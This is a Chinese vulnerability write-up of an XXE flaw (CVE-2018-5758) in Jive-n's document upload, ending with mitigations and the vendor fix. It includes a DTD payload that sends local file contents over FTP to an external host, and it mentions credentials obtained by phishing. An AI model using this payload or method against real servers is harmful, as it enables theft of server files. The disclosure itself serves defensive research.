看我如何在Jive-n中發現了一個XXE漏洞 (CVE-2018-5758)

寫在前面的話

很多滲透測試人員會對各種各樣不同的服務以及應用程序進行安全測試，但他們往往會忽略自己的產品和服務。在這種情況下，他們就可能成為攻擊者的首要目標，畢竟「最危險的地方就是最安全的」。在這篇文章中，我們將介紹一個我們在Jive Software的Jive-n平台中發現的一個XML外部實體注入（XXE）漏洞-CVE-2018-5758。

(文中傳送門及下載地址請點擊

閱讀原文

查看)

Rhino安全實驗室的研究人員近期在企業員工內網通信軟體Jive-n中發現了一個XML外部實體注入（XXE）漏洞，該漏洞存在於應用程序的文件上傳功能中，通過上傳一個嵌入了XXE Payload的微軟Word文檔，攻擊者將能夠讀取目標操作系統中的任何文件和文件夾內容。

這種攻擊的影響非常嚴重，因為Jive-n其中的一個重要功能就是幫助用戶跟網路中其他用戶上傳/共享文件，如果你不了解XXE漏洞的話，可以參考我們之前的文章【傳送門】或OWASP給出的定義【傳送門_Processing)】。

背景：Jive-n和Jive Software

Jive-n是Jive Software旗下的一款產品，這款內網社交通信軟體可以幫助企業員工之間通過內網進行交互。它既可以作為SaaS產品使用，也可以作為內部/自託管應用程序來使用。在我們的研究過程中，我們在Jive-n中發現了一個已激活的實例，但這個實例並沒有激活使用。我們在一次釣魚活動中獲取到了登錄憑證（密碼復用），所以我們可以直接登錄到這款App。

識別潛在的安全問題

Jive-n其中的一個功能就是上傳文件並與內網中其他員工共享。在公開已上傳文件之前，應用程序會嘗試在頁面中通過一個Flash對象來顯示文件內容。在使用普通的微軟office文檔進行了初始測試之後，我們認為這裡可能存在XXE漏洞。

XXE伺服器配置

Payload首先使用了目標系統中一份本地文件路徑定義了一個XML實體，然後使用一個外部實體來向我們的外部伺服器發送一個HTTP請求。我們的伺服器將會以文檔類型定義（DTD）響應，然後命令應用程序伺服器使用FTP協議向我們的外部伺服器發送之前定義的XML實體（指向本地文件）。我們可以使用這個名叫「oxml_xxe」的軟體【下載地址】完成這部分操作，我們的目標文件為：file:///etc/passwd。

在我們的XXE伺服器（由Rhino安全研究人員開發-【傳送門】）上，我們設置了一個HTTP監聽器（埠80）和一個FTP監聽器（埠8080），並準備正確處理傳入的請求。我們所使用的DTD如下：

<!ENTITY % all "<!ENTITY send SYSTEM"ftp://our-external-server.com:8080/%file;">">
%all;

成功利用XXE漏洞

我們的目標應用近期好像沒有進行過多的操作，所以我們準備上傳一個「隱藏」文件，這份Word文件不會暴露給應用程序的所有用戶。Jive-n其中的一個功能就是允許用戶在發布該文件之前瀏覽已上傳文件的內容，它使用了Flash來嘗試在瀏覽器中呈現已上傳的微軟Office文檔內容，包括Word、Excel和PowerPoint。

一開始我們上傳了惡意文檔，並使用「保存草稿」功能來嘗試讓Jive-n呈現文檔內容。雖然沒有成功，但是Jive-n顯示了一條錯誤信息以及一個「查看」或「下載」文件的選項。

一般來說，XML在這裡就應該得到解析並執行Payload了，但是我們發現這裡並不是這樣。實際上，我們的伺服器一直都沒有收到請求，直到我們點擊上圖中的「View」（查看）選項。點擊之後，Payload成功執行了，而文件內容也發送到了我們的XXE伺服器上。

上圖中主要發生了三件事情：

1. 
   

   藍色框中的內容是初始HTTP請求，由應用程序伺服器發送到我們的伺服器上。



2. 
   

   綠色框中的內容是我們伺服器針對該請求的響應數據。



3. 
   

   橙紅色框中的是通過FTP連接發送給我們的一小部分數據。

我們還發現，通過請求路徑file:///etc/，我們可以獲取到etc目錄中的目錄列表。

潛在的緩解方案

Jive-n的管理員可以使用反病毒軟體來對用戶上傳的文件進行掃描，但是這種方法還不能保證是否能夠檢測到某些專門製作的Payload（未測試）。不過，反病毒產品可以檢測到帶外連接、操作系統文件被讀取、或者FTP協議被使用等情況。在使用反病毒產品以及禁用XML外部實體的情況下，這種攻擊的影響是可以緩解的。

廠商修復CVE-2018-5758

根據廠商提供的信息，最新版本軟體即服務形式的Jive-n已經修復了這個XXE注入漏洞，並禁用了遠程DTD的訪問，現在程序的XML解釋器已經不會再處理外部實體了，因此SaaS版本的Jive-n用戶將不會再受到該漏洞的影響。

* 參考來源：rhinosecuritylabs，FB小編Alpha_h4ck編譯，轉載請註明來自FreeBuf.COM

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！